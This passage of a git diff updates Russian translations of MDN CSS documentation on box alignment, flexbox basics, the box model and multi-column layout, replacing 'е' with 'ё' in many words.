title="">Использовать атрибут <code>align-self</code> имеет смысл при работе с поперечной осью, так как потенциально есть дополнительное пространство во flex контейнере в этом измерении, один элемент которого может быть перемещен и в начало, и в конец.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Использовать атрибут <code>align-self</code> имеет смысл при работе с поперечной осью, так как потенциально есть дополнительное пространство во flex контейнере в этом измерении, один элемент которого может быть перемещён и в начало, и в конец.</span></span></p> <h2 id="Выравнивание_и_свойство_margin_auto">Выравнивание и свойство margin: auto</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">В разметке flexbox присутствует конкретный вариант использования, в котором, возможно, понадобится атрибут <code>justify-self</code>. Например, когда будет необходимо разделить набор flex элементов для создания отдельного шаблона навигации.</span> <span title="">В таком случае, можно использовать атрибут <code>margin</code> со значением <code>auto</code>.</span> <span title="">Атрибут с таким значением будет занимать все доступное пространство в своем измерении.</span> <span title="">Так работает центрирование блока со свойством <code>margin:auto</code>.</span> <span title="">Установив значение атрибутов <code>margin-left</code> и <code>margin-right</code> в значение <code>auto</code>, обе стороны нашего блока попытаются занять все доступное пространство и, таким образом, заставят двигаться блок в центр.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">В разметке flexbox присутствует конкретный вариант использования, в котором, возможно, понадобится атрибут <code>justify-self</code>. Например, когда будет необходимо разделить набор flex элементов для создания отдельного шаблона навигации.</span> <span title="">В таком случае, можно использовать атрибут <code>margin</code> со значением <code>auto</code>.</span> <span title="">Атрибут с таким значением будет занимать все доступное пространство в своём измерении.</span> <span title="">Так работает центрирование блока со свойством <code>margin:auto</code>.</span> <span title="">Установив значение атрибутов <code>margin-left</code> и <code>margin-right</code> в значение <code>auto</code>, обе стороны нашего блока попытаются занять все доступное пространство и, таким образом, заставят двигаться блок в центр.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Установив значение атрибута{{cssxref ("margin")}} в <code>auto</code> для одного элемента в наборе с flex-элементами, выровненных с начала, можно создать разделенную навигацию.</span> <span title="">Это хорошо работает с разметкой flexbox и свойствами выравнивания.</span> <span title="">Как только для элемента со свойством <code>margin: auto</code> не остается свободного места, он станет вести себя также, как и все остальные flex элементы, и сократится в объеме, пытаясь уместиться в доступное пространство.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Установив значение атрибута{{cssxref ("margin")}} в <code>auto</code> для одного элемента в наборе с flex-элементами, выровненных с начала, можно создать разделённую навигацию.</span> <span title="">Это хорошо работает с разметкой flexbox и свойствами выравнивания.</span> <span title="">Как только для элемента со свойством <code>margin: auto</code> не остаётся свободного места, он станет вести себя также, как и все остальные flex элементы, и сократится в объёме, пытаясь уместиться в доступное пространство.</span></span></p> <p>{{EmbedGHLiveSample("css-examples/box-alignment/flexbox/auto-margins.html", '100%', 500)}}</p> @@ -70,7 +70,7 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox <p><span class="tlid-translation translation" lang="ru"><span title="">На главной оси атрибут <code>column-gap</code> будет создавать разрывы фиксированного размера между соседними элементами.</span><br> <br> - <span title="">На поперечной оси атрибут <code>row-gap</code> создает разрыв между соседними flex линиями, поэтому необходимо также установить атрибут <code>flex-wrap</code> в значение <code>wrap</code>, чтобы применить эффект.</span></span></p> + <span title="">На поперечной оси атрибут <code>row-gap</code> создаёт разрыв между соседними flex линиями, поэтому необходимо также установить атрибут <code>flex-wrap</code> в значение <code>wrap</code>, чтобы применить эффект.</span></span></p> <div class="note"> <p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Начиная с версии 63, Firefox является единственным браузером, в котором реализованы свойства разрыва в разметке Flexbox.</span></span></p> diff --git a/files/ru/web/css/css_box_alignment/index.html b/files/ru/web/css/css_box_alignment/index.html index af449e8cff..e094c861ea 100644 --- a/files/ru/web/css/css_box_alignment/index.html +++ b/files/ru/web/css/css_box_alignment/index.html @@ -23,7 +23,7 @@ translation_of: Web/CSS/CSS_Box_Alignment <h3 id="Пример_выравнивания_раскладки_сетки_CSS">Пример выравнивания раскладки сетки CSS</h3> -<p>В этом примере с использованием Grid Layout, в контейнере сетки есть дополнительное пространство после прокладки фиксированных дорожек ширины на основной оси. Это пространство распределяется с помощью {{cssxref("justify-content")}}. На блочной (поперечной) оси выравнивание элементов внутри их областей сетки контролируется с помощью {{cssxref("align-items")}}. Первый элемент переопределяет значение элементов выравнивания, заданное в группе, путем установки {{cssxref("align-self")}} в центр.</p> +<p>В этом примере с использованием Grid Layout, в контейнере сетки есть дополнительное пространство после прокладки фиксированных дорожек ширины на основной оси. Это пространство распределяется с помощью {{cssxref("justify-content")}}. На блочной (поперечной) оси выравнивание элементов внутри их областей сетки контролируется с помощью {{cssxref("align-items")}}. Первый элемент переопределяет значение элементов выравнивания, заданное в группе, путём установки {{cssxref("align-self")}} в центр.</p> <p>{{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-align-items.html", '100%', 500)}}</p> @@ -73,7 +73,7 @@ translation_of: Web/CSS/CSS_Box_Alignment <p><strong>Контейнер выравнивания</strong> - это поле, в котором объект выравнивается внутри. Обычно это будет блок, содержащий объект выравнивания. Контейнер выравнивания может содержать один или несколько объектов выравнивания.</p> -<p>На приведенном ниже рисунке показан контейнер выравнивания с двумя объектами выравнивания внутри.</p> +<p>На приведённом ниже рисунке показан контейнер выравнивания с двумя объектами выравнивания внутри.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/15953/align-container-subjects.png" style="height: 170px; width: 248px;"></p> @@ -88,7 +88,7 @@ translation_of: Web/CSS/CSS_Box_Alignment <ul> <li><strong>Positional alignment</strong> (выравнивание положения): указание положения объекта выравнивания относительно его контейнера выравнивания.</li> <li><strong>Baseline alignment</strong> (исходное выравнивание): эти ключевые слова определяют выравнивание как взаимосвязь между базовыми линиями нескольких объектов выравнивания в контексте выравнивания.</li> - <li><strong>Distributed alignment</strong> (распределенное выравнивание): эти ключевые слова определяют выравнивание как распределение пространства между объектами выравнивания.</li> + <li><strong>Distributed alignment</strong> (распределённое выравнивание): эти ключевые слова определяют выравнивание как распределение пространства между объектами выравнивания.</li> </ul> <h3 id="Значения_ключевых_слов_позиционирования">Значения ключевых слов позиционирования</h3> @@ -109,7 +109,7 @@ translation_of: Web/CSS/CSS_Box_Alignment <p>Помимо физических значений <code>left</code> и <code>right</code>, которые относятся к физическим атрибутам экрана, все остальные значения являются логическими значениями и относятся к режиму записи содержимого.</p> -<p>Например, при работе в CSS Grid Layout, если вы работаете на русском языке и устанавливаете для него значение <code>justify-content</code> <code>start</code>, это приведет к перемещению элементов в встроенном измерении в начало, которое будет левым, поскольку предложения на русском начинаются слева. Если вы использовали арабский язык, право на левый язык, то одно и то же значение <code>start</code> приведет к тому, что элементы перемещаются вправо, так как предложения на арабском языке начинаются с правой стороны страницы.</p> +<p>Например, при работе в CSS Grid Layout, если вы работаете на русском языке и устанавливаете для него значение <code>justify-content</code> <code>start</code>, это приведёт к перемещению элементов в встроенном измерении в начало, которое будет левым, поскольку предложения на русском начинаются слева. Если вы использовали арабский язык, право на левый язык, то одно и то же значение <code>start</code> приведёт к тому, что элементы перемещаются вправо, так как предложения на арабском языке начинаются с правой стороны страницы.</p> <p>Оба этих примера имеют <code>justify-content: start</code>, однако местоположение начала изменяется в соответствии с режимом записи.</p> @@ -127,11 +127,11 @@ translation_of: Web/CSS/CSS_Box_Alignment <p>Исходное выравнивание содержимого - указание значения выравнивания базовой линии для <code>justify-content</code> или <code>align-content</code> - работает в методах макета, которые содержат элементы в строках. Объекты выравнивания выравниваются по базовой линии друг к другу, добавляя в них поля.</p> -<p>Исходная линия выравнивания сдвигает поля для выравнивания по базовой линии путем добавления поля за пределами полей. Self alignment - это использование <code>justify-self</code> или <code>align-self</code> или при настройке этих значений в виде группы с <code>justify-items</code> и <code>align-items</code>.</p> +<p>Исходная линия выравнивания сдвигает поля для выравнивания по базовой линии путём добавления поля за пределами полей. Self alignment - это использование <code>justify-self</code> или <code>align-self</code> или при настройке этих значений в виде группы с <code>justify-items</code> и <code>align-items</code>.</p> <h3 id="Distributed_alignment">Distributed alignment</h3> -<p><strong>Ключевые слова распределенного выравнивания</strong> используются с параметрами <code>align-content</code> и <code>justify-content</code>. Эти ключевые слова определяют, что происходит с каким-либо дополнительным пространством после отображения объекта. Значения следующие:</p> +<p><strong>Ключевые слова распределённого выравнивания</strong> используются с параметрами <code>align-content</code> и <code>justify-content</code>. Эти ключевые слова определяют, что происходит с каким-либо дополнительным пространством после отображения объекта. Значения следующие:</p> <ul> <li><code>stretch</code></li> @@ -154,7 +154,7 @@ translation_of: Web/CSS/CSS_Box_Alignment <p><code>safe</code> и <code>unsafe</code> ключевые слова помогают определить поведение, когда объект выравнивания больше, чем контейнер выравнивания. Ключевое слово <code>safe</code> будет выравниваться для <code>start</code> в случае заданного выравнивания, вызывающего переполнение, целью которого является избежать «потери данных», когда часть элемента находится за пределами границ контейнера выравнивания и не может быть прокручена до.</p> -<p>Если вы укажете <code>unsafe</code>, выравнивание будет выполнено, даже если это приведет к такой потере данных.</p> +<p>Если вы укажете <code>unsafe</code>, выравнивание будет выполнено, даже если это приведёт к такой потере данных.</p> <h2 id="Пробелы_между_boxes">Пробелы между boxes</h2> @@ -168,7 +168,7 @@ translation_of: Web/CSS/CSS_Box_Alignment <li>{{cssxref("gap")}}</li> </ul> -<p>В приведенном ниже примере макет сетки использует сокращенную <code>gap</code>, чтобы установить разрыв <code>10px</code> между дорожками строк и <code>2em</code> разрыв между дорожками столбцов.</p> +<p>В приведённом ниже примере макет сетки использует сокращённую <code>gap</code>, чтобы установить разрыв <code>10px</code> между дорожками строк и <code>2em</code> разрыв между дорожками столбцов.</p> <p>{{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-gap.html", '100%', 500)}}</p> diff --git a/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html b/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html index 1ad4642062..cb2b41fbb1 100644 --- a/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html +++ b/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html @@ -16,19 +16,19 @@ original_slug: Web/CSS/box_model <p><img alt="CSS Box model" src="https://mdn.mozillademos.org/files/8685/boxmodel-(3).png" style="height: 384px; width: 548px;"></p> -<p><a name="content"><strong>Внутренняя область</strong> элемента (<strong>content area</strong>) содержит текст и другие элементы, расположенные внутри (<em>контент</em> или <em>содержимое</em>). У неё часто бывает фон, цвет или изображение (в таком порядке: фоновый цвет скрывается под непрозрачным изображением), и она находится внутри <em>content edge</em>; её размеры называются <em>ширина контента</em> (<em>content width</em> или <em>content-box width)</em>, и <em>высота контента</em> (<em>content height</em> или content-box height). Иногда еще говорят «внутренняя ширина/высота элемента»</a></p> +<p><a name="content"><strong>Внутренняя область</strong> элемента (<strong>content area</strong>) содержит текст и другие элементы, расположенные внутри (<em>контент</em> или <em>содержимое</em>). У неё часто бывает фон, цвет или изображение (в таком порядке: фоновый цвет скрывается под непрозрачным изображением), и она находится внутри <em>content edge</em>; её размеры называются <em>ширина контента</em> (<em>content width</em> или <em>content-box width)</em>, и <em>высота контента</em> (<em>content height</em> или content-box height). Иногда ещё говорят «внутренняя ширина/высота элемента»</a></p> -<p>По умолчанию, если CSS-свойство {{ cssxref("box-sizing") }} не задано, размер внутренней области с содержимым задается свойствами {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }}. Если же свойство {{ cssxref("box-sizing") }} задано, то оно определяет, для какой области указаны размеры.</p> +<p>По умолчанию, если CSS-свойство {{ cssxref("box-sizing") }} не задано, размер внутренней области с содержимым задаётся свойствами {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }}. Если же свойство {{ cssxref("box-sizing") }} задано, то оно определяет, для какой области указаны размеры.</p> <p><a name="padding">Поля элемента (<strong>padding area)</strong> — это пустая область, окружающая контент. Она может быть залита каким-то цветом, покрыта фоновый картинкой, а её границы называются края полей (<em>padding edge)</em>.</a></p> <p>Размеры полей задаются по отдельности с разных сторон свойствами {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }} или общим свойством {{ cssxref("padding") }}.</p> -<p><a name="border">Область рамки (<strong>border area)</strong> окружает поля элемента, а ее граница называется края рамки (<em>border edge).</em> Ширина рамки задается отдельным свойством {{ cssxref("border-width") }} или в составе свойства {{ cssxref("border") }}. Размеры элемента с учетом полей и рамки иногда называют внешней шириной/высотой элемента.</a></p> +<p><a name="border">Область рамки (<strong>border area)</strong> окружает поля элемента, а её граница называется края рамки (<em>border edge).</em> Ширина рамки задаётся отдельным свойством {{ cssxref("border-width") }} или в составе свойства {{ cssxref("border") }}. Размеры элемента с учётом полей и рамки иногда называют внешней шириной/высотой элемента.</a></p> <p><a name="margin">Отступы (<strong>margin area)</strong> добавляют пустое пространство вокруг элемента и определяют расстояние до соседних элементов.</a></p> -<p>Величина отступов задается по отдельности в разных направлениях свойствами {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} или общим свойством {{ cssxref("margin") }}.</p> +<p>Величина отступов задаётся по отдельности в разных направлениях свойствами {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} или общим свойством {{ cssxref("margin") }}.</p> <p>Отступы двух соседних элементов, расположенных друг над другом или вложенных друг в друга, могут накладываться. Это называется схлопывание границ (<a href="/ru/docs/Web/CSS/margin_collapsing" title="ru/CSS/margin_collapsing">margin collapsing</a>). Схлопываются только вертикальные отступы.</p> diff --git a/files/ru/web/css/css_colors/color_picker_tool/index.html b/files/ru/web/css/css_colors/color_picker_tool/index.html index 499aa260fd..a148b4e9af 100644 --- a/files/ru/web/css/css_colors/color_picker_tool/index.html +++ b/files/ru/web/css/css_colors/color_picker_tool/index.html @@ -3212,7 +3212,7 @@ var ColorPickerTool = (function ColorPickerTool() { <p>{{CSSRef}}</p> -<p>Этот инструмент позволяет легко создавать, настраивать и экспериментировать с пользовательскими цветами для использования в интернете. Он также позволяет легко конвертировать цвета в различные форматы, поддерживаемые CSS, в том числе: шестнадцатеричный формат, RGB (красный / зеленый / синий) и HSL (Цветовой тон / Насыщенность / Яркость). Контроль над альфа-каналом (прозрачностью) поддерживается в форматах RGB (RGBA) и HSL (HSLA).</p> +<p>Этот инструмент позволяет легко создавать, настраивать и экспериментировать с пользовательскими цветами для использования в интернете. Он также позволяет легко конвертировать цвета в различные форматы, поддерживаемые CSS, в том числе: шестнадцатеричный формат, RGB (красный / зелёный / синий) и HSL (Цветовой тон / Насыщенность / Яркость). Контроль над альфа-каналом (прозрачностью) поддерживается в форматах RGB (RGBA) и HSL (HSLA).</p> <p>Каждый цвет во время настройки представлен во всех 3-х стандартных форматах CSS, и, кроме того, на основе текущего выбранного цвета генерируется палитра для HSL, HSV и альфа-канала. Кнопкой "пипетка" можно переключаться между HSL или HSV форматами.</p> diff --git a/files/ru/web/css/css_columns/using_multi-column_layouts/index.html b/files/ru/web/css/css_columns/using_multi-column_layouts/index.html index 7bab55db18..af886ff78f 100644 --- a/files/ru/web/css/css_columns/using_multi-column_layouts/index.html +++ b/files/ru/web/css/css_columns/using_multi-column_layouts/index.html @@ -6,7 +6,7 @@ original_slug: Web/Guide/CSS/Using_multi-column_layouts --- <p>{{CSSRef("CSS Multi-columns")}}</p> -<p><span class="seoSummary"><strong>CSS разметка для многих колонок</strong> расширяет <em>способ блочной разметки, </em>чтобы позволить легкое описание нескольких колонок текста.</span> Людям сложно читать текст, если строки слишком длинные; это занимает слишком много времени для глаз, чтобы перемещать взгляд с конца одной на начало следующей строки, и они забывают на какой строке находились. Поэтому, чтобы использовать большие дисплеи по максимуму, авторам следует ограничить ширину колонок текст расположенных бок о бок, как в газетах.</p> +<p><span class="seoSummary"><strong>CSS разметка для многих колонок</strong> расширяет <em>способ блочной разметки, </em>чтобы позволить лёгкое описание нескольких колонок текста.</span> Людям сложно читать текст, если строки слишком длинные; это занимает слишком много времени для глаз, чтобы перемещать взгляд с конца одной на начало следующей строки, и они забывают на какой строке находились. Поэтому, чтобы использовать большие дисплеи по максимуму, авторам следует ограничить ширину колонок текст расположенных бок о бок, как в газетах.</p> <p>К несчастью, это невозможно сделать с CSS и HTML без принудительного разбиения колонки в фиксированных позициях, или строго ограничить допустимую разметку в тексте, или использовать экстраординарный скрипт. Это ограничение снимается с помощью добавления новых CSS свойств, чтобы расширить традиционный блочный способ разметки.</p> diff --git a/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html b/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html index 3340d6cfae..61c6b3da9f 100644 --- a/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html +++ b/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html @@ -121,7 +121,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Выравнивание_элем <p>Теперь, когда мы увидели, как работает выравнивание по перекрёстной оси, можно посмотреть на главную ось. Здесь нам доступно только одно свойство — <code>justify-content</code>. Это обусловлено тем, что с элементами на главной оси мы работаем только как с группой. Используя свойство <code>justify-content</code>, мы контролируем, что происходит со свободным пространством на главной оси, и требуется ли нам больше пространства, чем нужно для отображения наших элементов.</p> -<p>В нашем первом примере с использованием свойства <code>display: flex</code>, примененным к контейнеру, элементы отображаются как строка и выстраиваются в начале блока. Это обусловлено тем, что свойство <code>justify-content</code> имеет начальное значение <code>flex-start</code>. Все свободное место располагается в конце контейнера.</p> +<p>В нашем первом примере с использованием свойства <code>display: flex</code>, применённым к контейнеру, элементы отображаются как строка и выстраиваются в начале блока. Это обусловлено тем, что свойство <code>justify-content</code> имеет начальное значение <code>flex-start</code>. Все свободное место располагается в конце контейнера.</p> <p><img alt="Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items." src="https://mdn.mozillademos.org/files/15632/align6.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p> @@ -203,7 +203,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Выравнивание_элем <p>Выравнивание во Flexbox также включает в себя другие методы создания пространства между элементами, такие как <code>column-gap</code> and <code>row-gap</code>, как показано в макете <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>. Включение этих свойств в Box Alignment означает, что в будущем мы также сможем использовать <code>column-gap</code> и <code>row-gap</code> во Flexbox разметке. Это означает, что вам не нужно будет использовать отступы, чтобы создать пространство между элементами.</p> -<p>Мое предложение заключается в том, чтобы при изучении выравнивания во Flexbox, делать это параллельно с выравниванием в Grid Layout. В обеих спецификациях используются свойства выравнивания, подобные Flexbox. Вы можете видеть, как эти свойства ведут себя при работе с сеткой в статье <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box Alignment in Grid Layout</a>, а также рассмотреть как выравнивание работает в этих спецификациях в статье <a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Box Alignment Cheatsheet</a>.</p> +<p>Моё предложение заключается в том, чтобы при изучении выравнивания во Flexbox, делать это параллельно с выравниванием в Grid Layout. В обеих спецификациях используются свойства выравнивания, подобные Flexbox. Вы можете видеть, как эти свойства ведут себя при работе с сеткой в статье <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box Alignment in Grid Layout</a>, а также рассмотреть как выравнивание работает в этих спецификациях в статье <a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Box Alignment Cheatsheet</a>.</p> <p>Смотрите Также</p> diff --git a/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html index 9c407f61fa..25b5be5ea0 100644 --- a/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html +++ b/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html @@ -11,13 +11,13 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexb <p>Как и все спецификации CSS, flexbox претерпела огромное количество изменений, прежде чем стать Кандидатом в рекомендации W3C. У спецификации в этом статусе не должно быть значительных изменений, однако с предыдущими итерациями все было иначе.</p> -<p>Flexbox был реализован экспериментальным путем в нескольких браузерах. В то время метод создания экспериментальных реализаций подразумевал использование вендорных префиксов. Идея этих префиксов была в том, чтобы позволить инженерам браузеров и веб-разработчикам исследовать и протестировать новшества спецификации без конфликтов с другими реализациями. Идея заключалась в том, чтобы не использовать экспериментальные реализации на продакшене. Однако, в конечном счете префиксы все равно попали в продакшн, и изменения в экспериментальной спецификации вынудили людей обновлять сайты, чтобы этой самой спецификации соответствовать.</p> +<p>Flexbox был реализован экспериментальным путём в нескольких браузерах. В то время метод создания экспериментальных реализаций подразумевал использование вендорных префиксов. Идея этих префиксов была в том, чтобы позволить инженерам браузеров и веб-разработчикам исследовать и протестировать новшества спецификации без конфликтов с другими реализациями. Идея заключалась в том, чтобы не использовать экспериментальные реализации на продакшене. Однако, в конечном счёте префиксы все равно попали в продакшн, и изменения в экспериментальной спецификации вынудили людей обновлять сайты, чтобы этой самой спецификации соответствовать.</p> <p><a href="https://www.w3.org/TR/2009/WD-css3-flexbox-20090723/">В 2009</a> спецификация выглядела совсем по-другому. Чтобы создать flex-контейнер, вам нужно было использовать <code>display: box</code> и несколько <code>box-*</code> свойств, которые делали то, что сегодня вы понимаете под flexbox.</p> <p>Очередное <a href="https://www.w3.org/TR/2012/WD-css3-flexbox-20120322/">обновление</a> спецификации поменяло синтаксис на <code>display: flexbox</code> — и опять с вендорными префиксами.</p> -<p>В конечном счете спецификация была обновлена, чтобы определить <code>display: flex</code> как способ создания flex-контейнера. Начиная с этого момента поддержка браузерами обновленной версии спецификации отличная.</p> +<p>В конечном счёте спецификация была обновлена, чтобы определить <code>display: flex</code> как способ создания flex-контейнера. Начиная с этого момента поддержка браузерами обновлённой версии спецификации отличная.</p> <p>Существует несколько старых статей, которые описывают более ранние версии flexbox, их довольно легко вычислить по тому, как они описывают создание flex-контейнера. Если вы нашли что-то вроде <code>display: box</code> или <code>display: flexbox</code>, то это уже устаревшая информация.</p> @@ -27,7 +27,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexb <ul> <li>Internet Explorer 10, который внедрил <code>display: flexbox</code> версию спецификации с префиксом <code>-ms-</code>.</li> - <li>UC Browser, который все еще поддерживает спецификацию версии 2009 год с <code>display: box</code> и префиксом <code>-webkit-</code>.</li> + <li>UC Browser, который все ещё поддерживает спецификацию версии 2009 год с <code>display: box</code> и префиксом <code>-webkit-</code>.</li> </ul> <p>Также возьмите на заметку, что Explorer 11 поддерживает современный <code>display: flex,</code> однако не без багов.</p> diff --git a/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html b/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html index 23f034fb6f..874e9a5982 100644 --- a/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html +++ b/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox --- <div>{{CSSRef}}</div> -<p class="summary"><strong>CSS модуль раскладки Flexible Box</strong>, обычно называемый флексбокс или flexbox или просто flex (флекс), был разработан как модель одномерного-направленного макета и как один из методов распределения пространства между элементами в интерфейсе, с мощными возможностями выравнивания. В этой статье дается краткое описание основных функций flexbox, которые мы рассмотрим более подробно в остальных руководствах.</p> +<p class="summary"><strong>CSS модуль раскладки Flexible Box</strong>, обычно называемый флексбокс или flexbox или просто flex (флекс), был разработан как модель одномерного-направленного макета и как один из методов распределения пространства между элементами в интерфейсе, с мощными возможностями выравнивания. В этой статье даётся краткое описание основных функций flexbox, которые мы рассмотрим более подробно в остальных руководствах.</p> <p>Когда мы описываем flexbox как одномерно-направленный, мы имеем в виду, что flexbox имеет дело с макетом в одной плоскости за раз – либо в виде строки, либо в виде столбца. Как альтернативу можно упомянуть двумерную модель CSS Grid Layout, которая управляет и столбцами и строками одновременно.</p> @@ -46,7 +46,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox <h2 id="Начало_и_конец_строки">Начало и конец строки</h2> -<p>Важно понимать, что flexbox не делает никаких предположений о режиме написания документа. Раньше CSS был сильно ориентирован на горизонтальный режим и режим письма слева направо. Современные методы верстки охватывают полный диапазон режимов письма, и поэтому мы больше не предполагаем, что строка текста будет начинаться в верхнем левом углу документа и будет проходить по направлению к правой стороне, а новые строки будут появляться одна под другой.</p> +<p>Важно понимать, что flexbox не делает никаких предположений о режиме написания документа. Раньше CSS был сильно ориентирован на горизонтальный режим и режим письма слева направо. Современные методы вёрстки охватывают полный диапазон режимов письма, и поэтому мы больше не предполагаем, что строка текста будет начинаться в верхнем левом углу документа и будет проходить по направлению к правой стороне, а новые строки будут появляться одна под другой.</p> <p>Вы можете прочитать больше о взаимосвязи между flexbox и спецификацией Writing Modes в следующей статье, однако следующее описание должно помочь объяснить, почему мы не говорим о левом, правом, верхнем и нижнем направлениях наших flex-элементов.</p> @@ -64,7 +64,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox <h2 id="Flex_контейнер">Flex контейнер</h2> -<p>Область документа, использующая flexbox, называется flex контейнером. Чтобы создать flex контейнер, мы задаем значение <code>flex</code> или <code>inline-flex</code> для свойства {{cssxref ("display")}} контейнера. Как только мы делаем это, прямые потомки этого контейнера становятся flex элементами. Как и для всех свойств в CSS, некоторые начальные значения уже определены, поэтому при создании flex-контейнера все содержащиеся в нем flex-элементы будут вести себя следующим образом.</p> +<p>Область документа, использующая flexbox, называется flex контейнером. Чтобы создать flex контейнер, мы задаём значение <code>flex</code> или <code>inline-flex</code> для свойства {{cssxref ("display")}} контейнера. Как только мы делаем это, прямые потомки этого контейнера становятся flex элементами. Как и для всех свойств в CSS, некоторые начальные значения уже определены, поэтому при создании flex-контейнера все содержащиеся в нем flex-элементы будут вести себя следующим образом.</p> <ul> <li>Элементы отображаются в ряд (свойство <code>flex-direction</code> по умолчанию имеет значение <code>row</code>).</li> @@ -75,7 +75,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox <li>Свойству {{cssxref("flex-wrap")}} задано значение <code>nowrap</code>.</li> </ul> -<p>Результатом этого является то, что все ваши элементы будут выстроены в ряд, используя размер содержимого в качестве их размера на главной оси. Если в контейнере больше элементов, чем можно уместить, они не будут обернуты и контейнер будет переполнен. Если некоторые элементы выше других, все элементы будут вытянуты вдоль побочной оси, чтобы заполнить ось в полный размер.</p> +<p>Результатом этого является то, что все ваши элементы будут выстроены в ряд, используя размер содержимого в качестве их размера на главной оси. Если в контейнере больше элементов, чем можно уместить, они не будут обёрнуты и контейнер будет переполнен. Если некоторые элементы выше других, все элементы будут вытянуты вдоль побочной оси, чтобы заполнить ось в полный размер.</p> <p>Вы можете увидеть принцип работы в живом примере ниже. Попробуйте отредактировать или добавить дополнительные элементы, чтобы проверить поведение flexbox.</p> @@ -87,7 +87,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox <p>Если изменить значение свойства <code>flex-direction</code> на <code>column</code>, главная ось изменится, и наши элементы будут отображаются в столбец. При установке параметра <code>column-reverse</code>, начало и конец столбца поменяются местами.</p> -<p>В приведенном ниже примере значение свойства <code>flex-direction</code> установлено как <code>row-reverse</code>. Попробуйте другие значения — <code>row</code>, <code>column</code> и<code>column-reverse</code>, чтобы посмотреть как изменятся элементы контейнера.</p> +<p>В приведённом ниже примере значение свойства <code>flex-direction</code> установлено как <code>row-reverse</code>. Попробуйте другие значения — <code>row</code>, <code>column</code> и<code>column-reverse</code>, чтобы посмотреть как изменятся элементы контейнера.</p> <p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-direction.html", '100%', 350)}}</p> @@ -105,7 +105,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox <p>Вы можете указать два свойства <code>flex-direction</code> и <code>flex-wrap</code> в одном {{cssxref("flex-flow")}}. Первое значение свойства определяет <code>flex-direction</code>, второе <code>flex-wrap</code>.</p> -<p>В приведенном ниже примере вы можете изменить первое значение на одно из доступных для <code>flex-direction</code> - <code>row</code>, <code>row-reverse</code>, <code>column</code> or <code>column-reverse</code>, а второе на <code>wrap</code> или <code>nowrap</code>, чтобы посмотреть как изменятся элементы контейнера.</p> +<p>В приведённом ниже примере вы можете изменить первое значение на одно из доступных для <code>flex-direction</code> - <code>row</code>, <code>row-reverse</code>, <code>column</code> or <code>column-reverse</code>, а второе на <code>wrap</code> или <code>nowrap</code>, чтобы посмотреть как изменятся элементы контейнера.</p> <p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-flow.html", '100%', 400)}}</p> @@ -123,7 +123,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox <p>Чтобы понять как работают эти свойства, прежде нам необходимо разобраться с концепцией <strong>доступного пространства</strong>. Изменяя значения этих флекс свойств, мы влияем на то, как доступное пространство распределяется между нашими элементами. Эта концепция так же важна для выравнивания элементов.</p> 